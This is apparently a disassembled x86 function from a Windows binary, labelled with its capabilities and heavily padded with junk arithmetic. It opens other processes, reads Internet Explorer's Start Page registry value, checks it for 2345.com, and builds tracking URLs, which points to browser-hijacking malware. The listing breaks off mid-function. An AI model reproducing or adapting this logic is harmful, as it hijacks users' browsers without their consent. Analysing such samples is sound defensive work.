Function at 0x411fc0
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44027d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1128
call fcn.00425cd0
mov eax, dword [0x453ad4]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov ecx, dword [0x452a78]
mov eax, 0xfe03f81
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x452a84]
imul edx, edx, 0xe8
sub edx, eax
sub edx, dword [0x452a68]
mov eax, dword [0x452a6c]
mov ebx, dword [0x452a7c]
imul ebx, ebx, 0xfffffefe
lea esi, [edx + eax + 0x21b]
mov eax, 0xa29ecf17
imul ecx
add edx, ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
mov ecx, dword [0x452a80]
mov eax, 0x43b3d5b
imul ecx
mov ecx, dword [0x452a64]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
xor edi, edi
add ebx, esi
lea edx, [ecx + ebx - 0xd8]
mov dword [ebp - 0x10e4], edi
mov dword [str._r_____r_____n], esi
mov dword [ebp - 4], edi
mov dword [0x452a64], edx
mov dword [ebp - 0x10d8], edi
lea eax, [ebp - 0x10d8]
push eax
push 0x443078
push 0x17
push edi
push 0x447864
mov byte [ebp - 4], 1
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov esi, dword [0x452a78]
mov ebx, eax
mov eax, 0xae4c415d
imul esi
add edx, esi
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edi, ecx
mov ecx, dword [0x452a6c]
mov eax, 0x2053e08b
imul ecx
sub edx, ecx
mov ecx, dword [0x452a7c]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, edi
sub eax, ecx
mov ecx, dword [0x452a84]
lea edx, [eax + ecx - 0xd2]
test ebx, ebx
mov dword [0x452a6c], edx
jge 0x412159
mov ecx, dword [0x452a68]
mov eax, 0x7a0a7ce7
imul ecx, ecx, 0x21e
imul esi
mov esi, dword [0x452a80]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x452a74]
imul edx, edx, 0x79
sub ecx, eax
add ecx, esi
lea eax, [edx + ecx + 0x215]
mov dword [0x452a70], eax
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 0
je 0x412152
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
jmp 0x413e79
mov edx, dword [0x452a70]
imul ecx, ecx, 0xd9
mov esi, dword [0x452a74]
mov eax, 0x577f7cc1
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x8d3dcb09
imul esi
add edx, esi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, edi
sub eax, ecx
add eax, 0x506
mov dword [0x452a74], eax
mov eax, dword [ebp - 0x10d8]
lea edx, [ebp - 0x10f0]
push edx
mov dword [ebp - 0x10f0], 0
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov ebx, dword [0x452a68]
mov ecx, dword [0x452a70]
mov edx, dword [0x452a6c]
imul ecx, ecx, 0xd9
mov eax, ebx
imul edx, edx, 0x102
imul eax, eax, 0x193
sub ecx, eax
add ecx, edx
mov eax, 0x43b3d5b
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10f0]
test eax, eax
mov dword [0x452a78], ecx
je 0x41213e
mov esi, dword [0x452a74]
mov eax, 0xdfac1f75
imul esi, esi, 0xab
imul ebx
add edx, ebx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r_____n]
imul edx, edx, 0x125
sub esi, eax
mov eax, dword [ebp + 8]
test eax, eax
lea esi, [esi + edx - 0xd8]
mov dword [0x452a7c], esi
je 0x4122a6
mov esi, dword [0x452a80]
imul ecx, ecx, 0x2ed
mov eax, 0xae4c415d
imul esi
add edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x452a64]
imul edx, edx, 0x219
sub ecx, eax
add ecx, edx
sub ecx, ebx
add ecx, 0x1eb
mov dword [0x452a80], ecx
mov ecx, 0x564b20
call fcn.00406960
mov ebx, dword [0x452a68]
mov ecx, dword [0x452a78]
mov esi, dword [0x452a7c]
mov eax, 0x7a0a7ce7
imul esi, esi, 0x2ed
imul dword [0x452a74]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x452a6c]
imul edx, edx, 0x21e
mov edi, eax
sub edi, esi
mov esi, dword [str._r_____r_____n]
add edi, edx
mov eax, 0xa29ecf17
imul esi
add edx, esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
sub edi, 0xd8
mov dword [0x452a84], edi
mov dword [ebp - 0x10f4], 0
mov esi, dword [ebp - 0x10f4]
cmp esi, dword [ebp - 0x10f0]
jge 0x413e20
mov eax, 0xfe03f81
imul edi, edi, 0xe8
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x452a6c]
sub edi, ecx
sub edi, ebx
lea eax, [edi + edx + 0x21b]
mov dword [str._r_____r_____n], eax
mov dword [ebp - 0x10d0], 0
mov eax, esi
mov word [ebp - 0x111c], 3
mov dword [ebp - 0x1114], eax
mov edi, dword [ebp - 0x111c]
mov ecx, dword [ebp - 0x10d8]
mov edx, dword [ecx]
lea esi, [ebp - 0x10d0]
push esi
sub esp, 0x10
mov esi, esp
mov dword [esi], edi
mov edi, dword [ebp - 0x1118]
mov dword [esi + 4], edi
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1110]
push ecx
mov byte [ebp - 4], 3
mov dword [esi + 0xc], eax
call dword [edx + 0x20]
lea ecx, [ebp - 0x111c]
push ecx
mov edi, eax
mov byte [ebp - 4], 2
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov ecx, dword [0x452a78]
mov esi, dword [0x452a6c]
mov eax, 0xae4c415d
imul ecx
add edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x2053e08b
imul esi
sub edx, esi
mov esi, dword [0x452a7c]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x452a84]
sub eax, ebx
sub eax, esi
test edi, edi
lea eax, [eax + edx - 0xd2]
mov dword [0x452a6c], eax
jl 0x4124c4
mov edx, dword [0x452a68]
imul eax, eax, 0x102
mov ecx, dword [0x452a70]
mov edi, edx
imul ecx, ecx, 0xd9
imul edi, edi, 0x193
sub ecx, edi
add ecx, eax
mov eax, 0x43b3d5b
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10d0]
xor edi, edi
test eax, eax
mov dword [0x452a78], ecx
mov dword [ebp - 0x10c8], edi
je 0x412473
mov ecx, dword [eax]
lea edx, [ebp - 0x10c8]
push edx
push 0x4430d0
push eax
call dword [ecx]
mov edi, dword [ebp - 0x10c8]
mov ecx, dword [0x452a78]
mov esi, dword [0x452a7c]
imul esi, esi, 0xfffffefe
mov ebx, dword [0x452a80]
mov eax, 0xa29ecf17
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x43b3d5b
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r_____n]
sub esi, eax
add esi, edx
test edi, edi
mov edx, dword [0x452a64]
lea eax, [edx + esi - 0xd8]
mov dword [0x452a64], eax
jne 0x4124e1
mov eax, dword [ebp - 0x10d0]
test eax, eax
mov byte [ebp - 4], 1
je 0x413e02
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x413dfc
mov esi, dword [0x452a68]
mov eax, 0x7a0a7ce7
imul ecx
mov ecx, dword [0x452a74]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x21e
sub edx, eax
mov eax, ecx
imul eax, eax, 0x79
add edx, ebx
lea edx, [eax + edx + 0x215]
xor ebx, ebx
mov dword [0x452a70], edx
mov dword [ebp - 0x10dc], ebx
imul ecx, ecx, 0xab
mov eax, 0xdfac1f75
imul esi
add edx, esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [str._r_____r_____n]
imul eax, eax, 0x125
lea ecx, [ecx + eax - 0xd8]
lea eax, [ebp - 0x10dc]
push eax
mov dword [0x452a7c], ecx
mov edx, dword [edi]
push edi
mov byte [ebp - 4], 5
call dword [edx + 0x48]
cmp eax, ebx
jge 0x4125b1
mov eax, dword [ebp - 0x10dc]
cmp eax, ebx
mov byte [ebp - 4], 4
je 0x412580
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10c8]
cmp eax, ebx
mov byte [ebp - 4], 2
je 0x412594
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10d0]
cmp eax, ebx
mov byte [ebp - 4], 1
je 0x413dfc
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x413dfc
mov ecx, dword [0x452a84]
mov eax, 0x577f7cc1
imul ecx, ecx, 0xe8
imul dword [0x452a6c]
mov esi, dword [ebp - 0x10dc]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x452a7c]
imul edx, edx, 0x21e
add eax, edx
mov edx, dword [0x452a70]
sub eax, ecx
sub eax, edx
add eax, 0x33e
cmp esi, ebx
mov dword [0x452a68], eax
mov dword [ebp - 0x10d4], ebx
je 0x41261b
mov edx, dword [esi]
lea eax, [ebp - 0x10d4]
push eax
push 0x4430e0
push esi
call dword [edx]
mov esi, dword [ebp - 0x10dc]
mov eax, 0x577f7cc1
imul dword [0x452a70]
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edi, ecx
mov ecx, dword [0x452a74]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
mov ecx, dword [0x452a84]
sar edx, 7
imul ecx, ecx, 0xd9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, edi
sub eax, ecx
add eax, 0x506
mov dword [0x452a74], eax
cmp dword [ebp - 0x10d4], ebx
mov byte [ebp - 4], 6
jne 0x4126aa
cmp esi, ebx
mov byte [ebp - 4], 4
je 0x41267f
mov edx, dword [esi]
push esi
call dword [edx + 8]
mov eax, dword [ebp - 0x10c8]
cmp eax, ebx
mov byte [ebp - 4], 2
je 0x412693
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10d0]
cmp eax, ebx
mov byte [ebp - 4], 1
je 0x413dfc
jmp 0x413df6
push ebx
call fcn.00425c8f
sub eax, dword [0x564d78]
add esp, 4
cmp eax, 0x708
jge 0x4128c3
mov ecx, dword [0x452a78]
mov edi, dword [0x452a68]
mov eax, 0xfe03f81
imul ecx
mov ecx, dword [0x452a84]
imul ecx, ecx, 0xe8
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x452a6c]
sub ecx, eax
sub ecx, edi
lea eax, [ecx + edx + 0x21b]
mov dword [str._r_____r_____n], eax
mov eax, dword [ebp - 0x10c8]
mov ecx, dword [eax]
lea edx, [ebp - 0x1100]
push edx
push eax
call dword [ecx + 0x94]
mov ecx, dword [ebp - 0x1100]
lea eax, [ebp - 0x10f8]
push eax
push ecx
mov dword [ebp - 0x10f8], 0
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [0x452a6c]
mov esi, dword [0x452a7c]
mov eax, 0x577f7cc1
imul ecx
mov eax, dword [0x452a84]
mov edi, dword [0x452a70]
imul eax, eax, 0xe8
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, esi
imul edx, edx, 0x21e
add ecx, edx
sub ecx, eax
sub ecx, edi
mov edi, dword [ebp - 0x10f8]
add ecx, 0x33e
test edi, edi
mov dword [0x452a68], ecx
je 0x413211
mov edx, dword [0x452a78]
imul ecx, ecx, 0x21e
mov ebx, dword [0x452a80]
mov eax, 0x7a0a7ce7
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x452a74]
imul edx, edx, 0x79
sub ecx, eax
push edi
add ecx, ebx
push 0
lea eax, [edx + ecx + 0x215]
push 0x1f0fff
mov dword [0x452a70], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4128c3
mov ecx, dword [0x452a68]
mov edi, dword [0x452a70]
mov eax, dword [0x452a6c]
imul edi, edi, 0xd9
mov edx, ecx
imul eax, eax, 0x102
imul edx, edx, 0x193
sub edi, edx
add edi, eax
mov eax, 0x43b3d5b
imul ecx
mov al, byte [0x443ace]
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov dx, word [0x443acc]
sub edi, ecx
mov dword [0x452a78], edi
mov byte [ebp - 0x2c2], al
mov word [ebp - 0x2c4], dx
xor eax, eax
mov ecx, 0x3f
lea edi, [ebp - 0x2c1]
rep stosd dword es:[edi], eax
push 0x100
lea ecx, [ebp - 0x2c4]
push ecx
push 0
push esi
stosb byte es:[edi], al
call sub.PSAPI.DLL_GetModuleFileNameExA
mov ecx, dword [0x452a80]
mov eax, 0xae4c415d
imul ecx
add edx, ecx
mov ecx, dword [0x452a78]
sar edx, 9
imul ecx, ecx, 0x2ed
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x452a64]
imul edx, edx, 0x219
sub ecx, eax
mov eax, dword [0x452a68]
add ecx, edx
sub ecx, eax
lea eax, [ebp - 0x2c4]
add ecx, 0x1eb
push str.startup.exe
push eax
mov dword [0x452a80], ecx
call fcn.004263c0
add esp, 8
test eax, eax
jne 0x41327a
mov ecx, dword [0x452a80]
mov eax, 0xae4c415d
imul ecx
add edx, ecx
mov ecx, dword [0x452a78]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, dword [0x452a68]
mov edx, ecx
imul edx, edx, 0x2ed
sub edx, eax
mov eax, dword [0x452a64]
imul eax, eax, 0x219
add edx, eax
mov eax, dword [ebp + 8]
sub edx, edi
add edx, 0x1eb
mov dword [0x452a80], edx
mov edx, dword [ebp - 0x10e4]
inc edx
test eax, eax
mov dword [ebp - 0x10e4], edx
je 0x413d4e
push ecx
lea edx, [ebp - 0x10c8]
mov ecx, esp
mov dword [ebp - 0x10cc], esp
push edx
call fcn.00407440
mov ecx, 0x564b20
call fcn.00406a90
test al, al
mov ecx, dword [0x452a78]
jne 0x413d4e
mov edi, dword [0x452a84]
mov eax, 0xfe03f81
imul ecx
sar edx, 4
mov esi, dword [0x452a6c]
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, edi
imul edx, edx, 0xe8
sub edx, eax
sub edx, dword [0x452a68]
lea eax, [edx + esi + 0x21b]
mov dword [str._r_____r_____n], eax
mov eax, 0xae4c415d
imul ecx
add edx, ecx
sar edx, 9
mov ebx, dword [0x452a7c]
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x2053e08b
imul esi
sub edx, esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ecx
sub eax, ebx
lea ecx, [eax + edi - 0xd2]
mov eax, dword [ebp - 0x10c8]
mov dword [0x452a6c], ecx
mov edx, dword [eax]
lea ecx, [ebp - 0x1104]
push ecx
push eax
call dword [edx + 0x78]
mov ecx, dword [0x452a68]
mov esi, dword [0x452a70]
mov eax, dword [0x452a6c]
imul esi, esi, 0xd9
mov edx, ecx
imul eax, eax, 0x102
imul edx, edx, 0x193
sub esi, edx
add esi, eax
mov eax, 0x43b3d5b
imul ecx
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0x1104]
sub esi, ecx
push edx
mov dword [0x452a78], esi
call fcn.0041b530
mov ecx, dword [0x452a78]
mov ebx, dword [0x452a68]
mov dword [ebp - 0x10cc], eax
mov eax, 0xfe03f81
imul ecx
mov ecx, dword [0x452a84]
imul ecx, ecx, 0xe8
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x452a6c]
sub ecx, eax
sub ecx, ebx
lea eax, [ecx + edx + 0x21b]
mov dword [str._r_____r_____n], eax
mov eax, dword [ebp - 0x10d4]
mov ecx, dword [eax]
lea edx, [ebp - 0x10fc]
xor esi, esi
push edx
push eax
call dword [ecx + 0x90]
mov edx, dword [0x452a6c]
mov ecx, eax
mov eax, 0x577f7cc1
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x452a7c]
mov edi, dword [0x452a70]
imul edx, edx, 0x21e
add eax, edx
mov edx, dword [0x452a84]
imul edx, edx, 0xe8
sub eax, edx
sub eax, edi
add eax, 0x33e
test ecx, ecx
mov dword [0x452a68], eax
jne 0x412ade
mov eax, dword [ebp - 0x10fc]
push eax
call fcn.0041b530
mov esi, eax
push 0
call fcn.00425c8f
sub eax, dword [0x564adc]
add esp, 4
cmp eax, 5
jle 0x413752
test esi, esi
je 0x412b12
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x412b00
sub eax, edx
cmp eax, 5
ja 0x413752
mov ecx, dword [0x452a78]
mov eax, 0x7a0a7ce7
imul ecx
mov eax, dword [0x452a74]
sar edx, 8
imul eax, eax, 0x79
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x452a68]
imul edx, edx, 0x21e
sub edx, ecx
add edx, dword [0x452a80]
lea ecx, [eax + edx + 0x215]
mov dword [0x452a70], ecx
mov ecx, str.http:__www.baiduo.org_
lea edx, [ebp - 0x1c4]
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x412b60
lea edx, [ebp - 0x1c4]
push edx
call fcn.0041b3d0
mov ecx, dword [0x452a74]
mov esi, dword [0x452a7c]
mov dword [ebp - 0x110c], eax
imul esi, esi, 0x2ed
mov eax, 0x7a0a7ce7
imul ecx
mov ecx, dword [0x452a6c]
sar edx, 8
imul ecx, ecx, 0x21e
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
sub ebx, esi
add ebx, ecx
mov ecx, dword [str._r_____r_____n]
mov eax, 0xa29ecf17
imul ecx
add edx, ecx
mov ecx, dword [str.sfdafsdafdsfdsfa]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x443ab0]
sub ebx, eax
mov eax, dword [0x443ab4]
mov dword [ebp - 0x144], ecx
mov ecx, dword [0x443ab8]
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x140], edx
mov dl, byte [0x443abc]
mov dword [ebp - 0x138], ecx
xor eax, eax
mov byte [ebp - 0x134], dl
mov ecx, 0x3c
lea edi, [ebp - 0x133]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xa
mov esi, str.SoftwareMicrosoftInternet_ExplorerMain
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x452a78]
mov eax, 0xfe03f81
imul ecx
mov ecx, dword [0x452a6c]
sub ebx, 0xd8
mov dword [0x452a84], ebx
imul ebx, ebx, 0xe8
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x452a68]
sub ebx, eax
lea eax, [ebp - 0x10ec]
push eax
push 0xf003f
sub ebx, edx
lea edx, [ebx + ecx + 0x21b]
push 0
lea ecx, [ebp - 0x40]
push ecx
push SysReAllocString
mov dword [ebp - 0x10ec], 0
movsw word es:[edi], word [esi]
mov dword [str._r_____r_____n], edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x412ebd
mov ecx, dword [0x452a70]
mov esi, dword [0x452a74]
mov eax, 0x577f7cc1
imul ecx
imul ecx, ecx, 0xd9
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x8d3dcb09
imul esi
add edx, esi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x452a84]
mov esi, dword [0x452a78]
imul edx, edx, 0xd9
sub eax, edi
sub eax, edx
add eax, 0x506
mov dword [0x452a74], eax
mov eax, 0xa29ecf17
imul esi
add edx, esi
mov esi, dword [0x452a7c]
sar edx, 8
imul esi, esi, 0xfffffefe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x452a80]
sub esi, eax
mov ebx, dword [str._r_____r_____n]
mov eax, 0x43b3d5b
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x452a64]
sub esi, eax
add esi, ebx
lea eax, [edx + esi - 0xd8]
mov edx, dword [0x452a68]
mov dword [0x452a64], eax
mov eax, edx
imul eax, eax, 0x193
sub ecx, eax
mov eax, dword [0x452a6c]
imul eax, eax, 0x102
add ecx, eax
mov eax, 0x43b3d5b
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [0x452a78], ecx
lea ecx, [ebp - 0x1108]
push ecx
mov ecx, dword [ebp - 0x10ec]
lea edx, [ebp - 0x144]
push edx
lea eax, [ebp - 0x10e0]
push eax
push 0
push str.Start_Page
mov ebx, 1
push ecx
mov dword [ebp - 0x1108], 0x104
mov dword [ebp - 0x10e0], ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x412ebd
mov edi, dword [0x452a6c]
mov eax, 0x577f7cc1
imul edi
mov eax, dword [0x452a84]
mov ecx, dword [0x452a70]
imul eax, eax, 0xe8
sar edx, 8
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x452a7c]
imul edx, edx, 0x21e
add esi, edx
sub esi, eax
mov eax, dword [0x564e14]
sub esi, ecx
add esi, 0x33e
test eax, eax
mov dword [0x452a68], esi
jne 0x412ecf
lea ecx, [ebp - 0x144]
push str..2345.com
push ecx
call fcn.004263c0
add esp, 8
test eax, eax
jne 0x412e4c
lea edx, [ebp - 0x144]
push str..2345.COM
push edx
call fcn.004263c0
add esp, 8
test eax, eax
je 0x412ebd
mov ecx, dword [0x452a78]
mov eax, 0xfe03f81
imul ecx
mov ecx, dword [0x452a84]
imul ecx, ecx, 0xe8
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x452a6c]
sub ecx, eax
sub ecx, dword [0x452a68]
lea eax, [ecx + edx + 0x21b]
lea ecx, [ebp - 0x144]
push ecx
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_HomePage_s
push 0x564e88
mov dword [str._r_____r_____n], eax
mov dword [0x564e14], ebx
call fcn.00425baa
push 0x132b600
call sym.CallDll.exe_int___cdecl_process3_int_
add esp, 0x10
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [0x452a68]
mov edi, dword [0x452a6c]
mov ecx, dword [0x452a70]
imul ecx, ecx, 0xd9
imul edi, edi, 0x102
mov edx, esi
imul edx, edx, 0x193
sub ecx, edx
mov eax, 0x43b3d5b
imul esi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add ecx, edi
add eax, edx
sub ecx, eax
mov dword [0x452a78], ecx
mov ecx, dword [ebp - 0x10ec]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [0x452a78]
mov esi, dword [0x452a7c]
mov edi, dword [0x452a80]
imul esi, esi, 0xfffffefe
mov eax, 0xa29ecf17
imul ecx
add edx, ecx
imul ecx, ecx, 0x2ed
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x43b3d5b
imul edi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x452a64]
sub esi, eax
add esi, dword [str._r_____r_____n]
mov ebx, dword [0x452a68]
lea esi, [edx + esi - 0xd8]
mov eax, 0xae4c415d
imul edi
mov dword [0x452a64], esi
imul esi, esi, 0x219
add edx, edi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10d4]
add ecx, esi
sub ecx, ebx
add ecx, 0x1eb
lea edx, [ebp - 0x10e8]
push edx
mov dword [0x452a80], ecx
mov ecx, dword [eax]
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x10e8]
push eax
call fcn.0041b530
mov ecx, dword [0x452a78]
mov ebx, eax
mov eax, 0xae4c415d
imul ecx
add edx, ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x452a6c]
mov eax, 0x2053e08b
imul ecx
sub edx, ecx
sar edx, 8
mov eax, edx
mov ecx, dword [0x452a7c]
shr eax, 0x1f
add eax, edx
sub eax, esi
sub eax, ecx
test ebx, ebx
mov ecx, dword [0x452a84]
lea edx, [eax + ecx - 0xd2]
mov dword [0x452a6c], edx
je 0x4130a9
mov edi, 0x4430b4
mov esi, ebx
mov ecx, 0xc
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x4130a9
mov ecx, dword [0x452a70]
mov eax, 0x577f7cc1
imul ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x452a74]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, dword [0x452a84]
imul eax, eax, 0xd9
sub ecx, esi
sub ecx, eax
add ecx, 0x506
push 1
mov dword [0x452a74], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10d4]
mov edx, dword [eax]
lea ecx, [ebp - 0x10e8]
push ecx
push eax
call dword [edx + 0xa0]
mov edx, dword [ebp - 0x10e8]
push edx
call fcn.0041b530
mov ebx, eax
mov ecx, dword [0x452a68]
mov esi, dword [0x452a74]
mov eax, 0xdfac1f75
imul esi, esi, 0xab
imul ecx
add edx, ecx
mov ecx, dword [str._r_____r_____n]
sar edx, 8
imul ecx, ecx, 0x125
mov eax, edx
shr eax, 0x1f
add eax, edx
push 4
sub esi, eax
lea edx, [esi + ecx - 0xd8]
push str.http
push ebx
mov dword [0x452a7c], edx
call fcn.00426820
add esp, 0xc
test eax, eax
je 0x413321
push 4
push str.HTTP
push ebx
call fcn.00426820
add esp, 0xc
test eax, eax
je 0x413321
push 4
push str.www.
push ebx
call fcn.00426820
add esp, 0xc
test eax, eax
je 0x413321
push 4
push str.WWW.
push ebx
call fcn.00426820
add esp, 0xc
test eax, eax
je 0x413321
push str.http:
push ebx
call fcn.004263c0
add esp, 8
test eax, eax
jne 0x413195
push str.HTTP:
push ebx
call fcn.004263c0
add esp, 8
test eax, eax
jne 0x413195
push str.www.
push ebx
call fcn.004263c0
add esp, 8
test eax, eax
jne 0x413195
push str.WWW.
push ebx
call fcn.004263c0
add esp, 8
test eax, eax
je 0x413321
mov ecx, dword [0x452a74]
mov esi, dword [0x452a7c]
mov eax, 0x7a0a7ce7
imul esi, esi, 0x2ed
imul ecx
mov ecx, dword [0x452a6c]
sar edx, 8
imul ecx, ecx, 0x21e
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
add edi, ecx
mov ecx, dword [str._r_____r_____n]
mov eax, 0xa29ecf17
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
push str.http:
sub edi, 0xd8
push ebx
mov dword [0x452a84], edi
call fcn.004263c0
add esp, 8
test eax, eax
je 0x4132cd
push str.http:
jmp 0x413316
mov ecx, dword [0x452a78]
imul esi, esi, 0xfffffefe
mov eax, 0xa29ecf17
imul ecx
add edx, ecx
sar edx, 8
mov edi, dword [str._r_____r_____n]
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x452a80]
mov eax, 0x43b3d5b
imul ecx
mov ecx, dword [0x452a64]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, edi
lea edx, [ecx + esi - 0xd8]
push str.startup.exe
mov dword [0x452a64], edx
call fcn.00404190
add esp, 4
test eax, eax
jle 0x4128c3
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 5
je 0x41328e
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 4
je 0x4132a2
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10c8]
test eax, eax
mov byte [ebp - 4], 2
je 0x4132b6
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10d0]
test eax, eax
mov byte [ebp - 4], 1
je 0x413dfc
jmp 0x413df6
push str.HTTP:
push ebx
call fcn.004263c0
add esp, 8
test eax, eax
je 0x4132e6
push str.HTTP:
jmp 0x413316
push str.www.
push ebx
call fcn.004263c0
add esp, 8
test eax, eax
je 0x4132ff
push str.www.
jmp 0x413316
push str.WWW.
push ebx
call fcn.004263c0
add esp, 8
test eax, eax
je 0x413321
push str.WWW.
push ebx
call fcn.004263c0
add esp, 8
mov ebx, eax
mov esi, dword [0x452a84]
